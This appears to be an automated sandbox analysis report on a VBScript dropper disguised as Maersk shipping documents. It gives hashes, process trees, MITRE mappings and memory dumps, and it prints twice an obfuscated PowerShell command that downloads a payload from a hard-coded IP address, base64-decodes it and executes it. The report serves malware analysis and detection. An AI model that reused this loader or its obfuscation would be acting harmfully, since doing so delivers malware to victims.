36441c31ec05d3f6ae0fc927a33361522c63110a0d7249fd5103914bf228eccd

General

Target

Maersk_Shipping_Documents_pdf.vbs
Size

187KB
MD5

30df38b128734333083f7ca438c9c6ee
SHA1

cddda08ce291f6adf67f1bb1a7647ebc5b087296
SHA256

75d85dcb3600c097923b6a09fa7fe8ada9bed04b6185dcdcb69edbb3e6b66f2f
SHA512

639c55bf19eab352fed3ea425e1f3dc6317a50c1c72bf9f995514892863420894911a6e01d1170d94000dfb87f14a59378db92d37c5c915b19844652c6b88d6a
SSDEEP

3072:rmN8GGebKjeK3ubth+DCFxKCvBB/WnHPP1w/sLJFJ281QIHz1y8mNy7Ey1MgKTZO:r08GxbKja3+DCbKCvBB/WnHXC/sLJFJl

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
2	4056	WScript.exe
4	3812	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
3812	powershell.exe
3812	powershell.exe
1308	powershell.exe
1308	powershell.exe
1308	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3812	powershell.exe
Token: SeDebugPrivilege	1308	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 4056 wrote to memory of 3812	4056	WScript.exe	82
PID 4056 wrote to memory of 3812	4056	WScript.exe	82
PID 3812 wrote to memory of 3544	3812	powershell.exe	84
PID 3812 wrote to memory of 3544	3812	powershell.exe	84
PID 3812 wrote to memory of 1308	3812	powershell.exe	85
PID 3812 wrote to memory of 1308	3812	powershell.exe	85
PID 3812 wrote to memory of 1308	3812	powershell.exe	85
PID 1308 wrote to memory of 1680	1308	powershell.exe	86
PID 1308 wrote to memory of 1680	1308	powershell.exe	86
PID 1308 wrote to memory of 1680	1308	powershell.exe	86

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Maersk_Shipping_Documents_pdf.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4056
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Fagt Pilke Lehnas Unspiral Poesiforladtes Deterging Bathylite Usbekistan Wocheinite123 Dobbeltradedes Conditioner Bremsningens undieted Gravicembalo Udstykningskontrollen Latterbrlets Cycloids Skolerytteren slemmeste udstrningens Jockeyernes Farvepragts Slappelses Boabhan Fagt Pilke Lehnas Unspiral Poesiforladtes Deterging Bathylite Usbekistan Wocheinite123 Dobbeltradedes Conditioner Bremsningens undieted Gravicembalo Udstykningskontrollen Latterbrlets Cycloids Skolerytteren slemmeste udstrningens Jockeyernes Farvepragts Slappelses Boabhan';$Flsket178 = 1;Function Selvskyldnerkautioners($Leucetta){$Lbningens=$Leucetta.Length-$Flsket178;$Befolkningstallenes='SUBSTRIN';$Befolkningstallenes+='G';For( $Acidulousness=1;$Acidulousness -lt $Lbningens;$Acidulousness+=2){$Fagt+=$Leucetta.$Befolkningstallenes.Invoke( $Acidulousness, $Flsket178);}$Fagt;}function Udkigget($reactivation){ & ($Uncaging) ($reactivation);}$Vejrer=Selvskyldnerkautioners ' M.o zEiTlJl.aR/ 5..K0 (ZW,iPn d o w.s N,T. .1 0,.k0R;D ,W.iFn 6 4f; xB6K4B; Pr v : 1 2 1 ..0,) NG eAc k oD/O2 0G1 0 0,1K0P1 IF,iCrCeRfKoDx./ 1S2T1B. 0A ';$Antimilitarist=Selvskyldnerkautioners ' U,sSe r -,ASgUeCn.tI ';$Poesiforladtes=Selvskyldnerkautioners 'GhPtktFpM: /D/ 1 0 3S. 1 9C5 . 2K3m7 .m4F3T/ GFeRb.i sSsTearFsK8N7 ..mFiRxU ';$Svrters68=Selvskyldnerkautioners 'A>. ';$Uncaging=Selvskyldnerkautioners '.iUeCxU ';$Kanjas='Usbekistan';$Overhrer = Selvskyldnerkautioners ' eOc h oS O%FaRp,pAdSaDt a %u\PM yOr,iIo,p hOy lUlNo.uPs,.rC h eT ,&S& Se cRhUo t ';Udkigget (Selvskyldnerkautioners '.$ g l,oSbHa lA:RcNy.t,o p.hNyRs iPoMl oBg y =,(Fc mAd, /.cA K$AOUv e rFh.rAe.r,) ');Udkigget (Selvskyldnerkautioners 'B$mgFl,o bpaFl :TUMnasJpPi r a lU=O$,P ose sai.fPo,rAlEa.d,t e,s,. sLprlAi.tP( $BSRvMr,tCe r.s 6A8 ) ');Udkigget (Selvskyldnerkautioners 'V[RN,e.t .ASUeArAvEiPc eoP oUiTnFtDMSaNnSa,g e,r.] : :.S,e cTu rvi.tUyOP rAo tBoUcPo l, =H .[ N.eCtP.ESSe ckuSrLi tKy,P rUoPtKo csoVl T,yVp eM].:.:KT.lSs,1 2T ');$Poesiforladtes=$Unspiral[0];$Lamprey= (Selvskyldnerkautioners 'R$,gOlFo bUa lS:SD r o nGi sShMn e s sA=BN.e.w -IOVbTj.eIcTt. CSOy,s t eCmb. NMeWt .PWAe,b.C l iPeDn t');$Lamprey+=$cytophysiology[1];Udkigget ($Lamprey);Udkigget (Selvskyldnerkautioners ' $ DUr.o nPiPs hUn eUs s .DHAeOa,d,eTr sD[ $VAPnTt i mBiUlKiWtMaSr i.s tS]S=p$ V eSj rBe rG ');$Debatterende=Selvskyldnerkautioners ' $ADhr oEnNiGsOhBnOeCs,sR. DKo,wtnBlUo aTdAF iBlBeT(C$aP oFe sSi,ftoHr lUa.d,tSeSs.,,$FF aSrNvhe.pDr a.g,t,se), ';$Farvepragts=$cytophysiology[0];Udkigget (Selvskyldnerkautioners '.$Cg.lKo bSaVl.:,Lye vae b r d e t,= (JT eGs tZ-NPKa.t,hD E$PFSa.rRvRe p.r a g tBsC)D ');while (!$Levebrdet) {Udkigget (Selvskyldnerkautioners '.$,gUl,oPb,aRls:,A n,nPl i,l.=.$ tPr.u.eS ') ;Udkigget $Debatterende;Udkigget (Selvskyldnerkautioners 'DS tHa,r,t,- S l e e pK I4 ');Udkigget (Selvskyldnerkautioners ',$ g,l.oeb.aFl,:KL eavSeFbfr d e tH= ( TMeAsDtD-CP aUt h, ,$.FTa rMv.e.pUr aTg tNsB)L ') ;Udkigget (Selvskyldnerkautioners ' $PgMlUoGbUa,lC: LSe h.n aSsF=K$ogKl.oQbBa lP:,P i.l.kIeN+U+n% $ UsnOsbp idrVaTlF.,cSoSuIn t ') ;$Poesiforladtes=$Unspiral[$Lehnas];}$Stepdansernes=375979;$Seraya=25461;Udkigget (Selvskyldnerkautioners 'B$Vg lCoPb.a,lT:CWBoEc,h,eTi.n.i t.eP1 2C3O =C wG.e,tB-CC o,n tSefn tT F$PF a r vPeFpFrNa g tfsB ');Udkigget (Selvskyldnerkautioners ',$ g l,o bRaNl :NROe t i s t.e nke F=H .[,SfyUs tde.m . C oBn vSeSr tO] :a:CF r oAmLBRaPs eC6P4 Sit rBiTn.gP(E$AWpoFcAh,e i n i tOe 1.2 3 ), ');Udkigget (Selvskyldnerkautioners '.$ gKl oSb a.lU:SB.rSeKmPsFnHi nBg e.nUs =S .[.S.y s tTe.m..HTGeKxStA. E nScAoVd i.n g ],:C:DAFS,CDICIN..G,e t,S tUrUiUn,gS(.$RRBeFtSiFsFt e.nTeG)d ');Udkigget (Selvskyldnerkautioners 'D$.g lCo,bRaUlL:sp.rBe.j,uKdCgPm eTnMtDs.=.$ B,rKe m s n,iBnHgNePn,s .,sGu b sStWrOiSnSg (D$.S.t eIp,d aSnUs e rUnHeUsL,.$ S.eDrUaTy.a,)B ');Udkigget $prejudgments;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3812
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Myriophyllous.Che && echo t"
    3⤵
    PID:3544
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "cls;write 'Fagt Pilke Lehnas Unspiral Poesiforladtes Deterging Bathylite Usbekistan Wocheinite123 Dobbeltradedes Conditioner Bremsningens undieted Gravicembalo Udstykningskontrollen Latterbrlets Cycloids Skolerytteren slemmeste udstrningens Jockeyernes Farvepragts Slappelses Boabhan Fagt Pilke Lehnas Unspiral Poesiforladtes Deterging Bathylite Usbekistan Wocheinite123 Dobbeltradedes Conditioner Bremsningens undieted Gravicembalo Udstykningskontrollen Latterbrlets Cycloids Skolerytteren slemmeste udstrningens Jockeyernes Farvepragts Slappelses Boabhan';$Flsket178 = 1;Function Selvskyldnerkautioners($Leucetta){$Lbningens=$Leucetta.Length-$Flsket178;$Befolkningstallenes='SUBSTRIN';$Befolkningstallenes+='G';For( $Acidulousness=1;$Acidulousness -lt $Lbningens;$Acidulousness+=2){$Fagt+=$Leucetta.$Befolkningstallenes.Invoke( $Acidulousness, $Flsket178);}$Fagt;}function Udkigget($reactivation){ & ($Uncaging) ($reactivation);}$Vejrer=Selvskyldnerkautioners ' M.o zEiTlJl.aR/ 5..K0 (ZW,iPn d o w.s N,T. .1 0,.k0R;D ,W.iFn 6 4f; xB6K4B; Pr v : 1 2 1 ..0,) NG eAc k oD/O2 0G1 0 0,1K0P1 IF,iCrCeRfKoDx./ 1S2T1B. 0A ';$Antimilitarist=Selvskyldnerkautioners ' U,sSe r -,ASgUeCn.tI ';$Poesiforladtes=Selvskyldnerkautioners 'GhPtktFpM: /D/ 1 0 3S. 1 9C5 . 2K3m7 .m4F3T/ GFeRb.i sSsTearFsK8N7 ..mFiRxU ';$Svrters68=Selvskyldnerkautioners 'A>. ';$Uncaging=Selvskyldnerkautioners '.iUeCxU ';$Kanjas='Usbekistan';$Overhrer = Selvskyldnerkautioners ' eOc h oS O%FaRp,pAdSaDt a %u\PM yOr,iIo,p hOy lUlNo.uPs,.rC h eT ,&S& Se cRhUo t ';Udkigget (Selvskyldnerkautioners '.$ g l,oSbHa lA:RcNy.t,o p.hNyRs iPoMl oBg y =,(Fc mAd, /.cA K$AOUv e rFh.rAe.r,) ');Udkigget (Selvskyldnerkautioners 'B$mgFl,o bpaFl :TUMnasJpPi r a lU=O$,P ose sai.fPo,rAlEa.d,t e,s,. sLprlAi.tP( $BSRvMr,tCe r.s 6A8 ) ');Udkigget (Selvskyldnerkautioners 'V[RN,e.t .ASUeArAvEiPc eoP oUiTnFtDMSaNnSa,g e,r.] : :.S,e cTu rvi.tUyOP rAo tBoUcPo l, =H .[ N.eCtP.ESSe ckuSrLi tKy,P rUoPtKo csoVl T,yVp eM].:.:KT.lSs,1 2T ');$Poesiforladtes=$Unspiral[0];$Lamprey= (Selvskyldnerkautioners 'R$,gOlFo bUa lS:SD r o nGi sShMn e s sA=BN.e.w -IOVbTj.eIcTt. CSOy,s t eCmb. NMeWt .PWAe,b.C l iPeDn t');$Lamprey+=$cytophysiology[1];Udkigget ($Lamprey);Udkigget (Selvskyldnerkautioners ' $ DUr.o nPiPs hUn eUs s .DHAeOa,d,eTr sD[ $VAPnTt i mBiUlKiWtMaSr i.s tS]S=p$ V eSj rBe rG ');$Debatterende=Selvskyldnerkautioners ' $ADhr oEnNiGsOhBnOeCs,sR. DKo,wtnBlUo aTdAF iBlBeT(C$aP oFe sSi,ftoHr lUa.d,tSeSs.,,$FF aSrNvhe.pDr a.g,t,se), ';$Farvepragts=$cytophysiology[0];Udkigget (Selvskyldnerkautioners '.$Cg.lKo bSaVl.:,Lye vae b r d e t,= (JT eGs tZ-NPKa.t,hD E$PFSa.rRvRe p.r a g tBsC)D ');while (!$Levebrdet) {Udkigget (Selvskyldnerkautioners '.$,gUl,oPb,aRls:,A n,nPl i,l.=.$ tPr.u.eS ') ;Udkigget $Debatterende;Udkigget (Selvskyldnerkautioners 'DS tHa,r,t,- S l e e pK I4 ');Udkigget (Selvskyldnerkautioners ',$ g,l.oeb.aFl,:KL eavSeFbfr d e tH= ( TMeAsDtD-CP aUt h, ,$.FTa rMv.e.pUr aTg tNsB)L ') ;Udkigget (Selvskyldnerkautioners ' $PgMlUoGbUa,lC: LSe h.n aSsF=K$ogKl.oQbBa lP:,P i.l.kIeN+U+n% $ UsnOsbp idrVaTlF.,cSoSuIn t ') ;$Poesiforladtes=$Unspiral[$Lehnas];}$Stepdansernes=375979;$Seraya=25461;Udkigget (Selvskyldnerkautioners 'B$Vg lCoPb.a,lT:CWBoEc,h,eTi.n.i t.eP1 2C3O =C wG.e,tB-CC o,n tSefn tT F$PF a r vPeFpFrNa g tfsB ');Udkigget (Selvskyldnerkautioners ',$ g l,o bRaNl :NROe t i s t.e nke F=H .[,SfyUs tde.m . C oBn vSeSr tO] :a:CF r oAmLBRaPs eC6P4 Sit rBiTn.gP(E$AWpoFcAh,e i n i tOe 1.2 3 ), ');Udkigget (Selvskyldnerkautioners '.$ gKl oSb a.lU:SB.rSeKmPsFnHi nBg e.nUs =S .[.S.y s tTe.m..HTGeKxStA. E nScAoVd i.n g ],:C:DAFS,CDICIN..G,e t,S tUrUiUn,gS(.$RRBeFtSiFsFt e.nTeG)d ');Udkigget (Selvskyldnerkautioners 'D$.g lCo,bRaUlL:sp.rBe.j,uKdCgPm eTnMtDs.=.$ B,rKe m s n,iBnHgNePn,s .,sGu b sStWrOiSnSg (D$.S.t eIp,d aSnUs e rUnHeUsL,.$ S.eDrUaTy.a,)B ');Udkigget $prejudgments;"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1308
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Myriophyllous.Che && echo t"
      4⤵
      PID:1680

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0oloobbe.yqd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Myriophyllous.Che

Filesize
522KB

MD5
01564340754729c2c08af21c85a54932

SHA1
5e450a473ae8f14be2058cc920e88a0c1e733628

SHA256
f95accb2b9048ec85d7ddb254c56e2b79c318394d64bd370128747c8e9c2f654

SHA512
35b03c864035b597167bf063f6f693f7e75fafa79210ef0f85df98b11dd945aab7aab9f8bbeb3a5e5c1447ded509d4c9ca6cab765a6032699ee3ed43c8c9fb7b

Download Submit
memory/1308-36-0x0000000007130000-0x000000000714A000-memory.dmp

Filesize
104KB

Download
memory/1308-34-0x0000000006080000-0x00000000060CC000-memory.dmp

Filesize
304KB

Download
memory/1308-42-0x0000000008950000-0x000000000E35C000-memory.dmp

Filesize
90.0MB

Download
memory/1308-39-0x00000000083A0000-0x0000000008946000-memory.dmp

Filesize
5.6MB

Download
memory/1308-19-0x00000000027C0000-0x00000000027F6000-memory.dmp

Filesize
216KB

Download
memory/1308-20-0x0000000005560000-0x0000000005B8A000-memory.dmp

Filesize
6.2MB

Download
memory/1308-21-0x0000000005140000-0x0000000005162000-memory.dmp

Filesize
136KB

Download
memory/1308-22-0x00000000051E0000-0x0000000005246000-memory.dmp

Filesize
408KB

Download
memory/1308-23-0x0000000005380000-0x00000000053E6000-memory.dmp

Filesize
408KB

Download
memory/1308-32-0x0000000005B90000-0x0000000005EE7000-memory.dmp

Filesize
3.3MB

Download
memory/1308-33-0x0000000005FF0000-0x000000000600E000-memory.dmp

Filesize
120KB

Download
memory/1308-38-0x0000000007240000-0x0000000007262000-memory.dmp

Filesize
136KB

Download
memory/1308-35-0x0000000007770000-0x0000000007DEA000-memory.dmp

Filesize
6.5MB

Download
memory/1308-37-0x00000000072A0000-0x0000000007336000-memory.dmp

Filesize
600KB

Download
memory/3812-4-0x00007FF8ACFE3000-0x00007FF8ACFE5000-memory.dmp

Filesize
8KB

Download
memory/3812-14-0x00007FF8ACFE0000-0x00007FF8ADAA2000-memory.dmp

Filesize
10.8MB

Download
memory/3812-16-0x00007FF8ACFE0000-0x00007FF8ADAA2000-memory.dmp

Filesize
10.8MB

Download
memory/3812-13-0x000001DEA0C30000-0x000001DEA0C52000-memory.dmp

Filesize
136KB

Download
memory/3812-41-0x00007FF8ACFE0000-0x00007FF8ADAA2000-memory.dmp

Filesize
10.8MB

Download
memory/3812-15-0x00007FF8ACFE0000-0x00007FF8ADAA2000-memory.dmp

Filesize
10.8MB

Download
memory/3812-43-0x00007FF8ACFE3000-0x00007FF8ACFE5000-memory.dmp

Filesize
8KB

Download

Resubmissions

Analysis

Sharing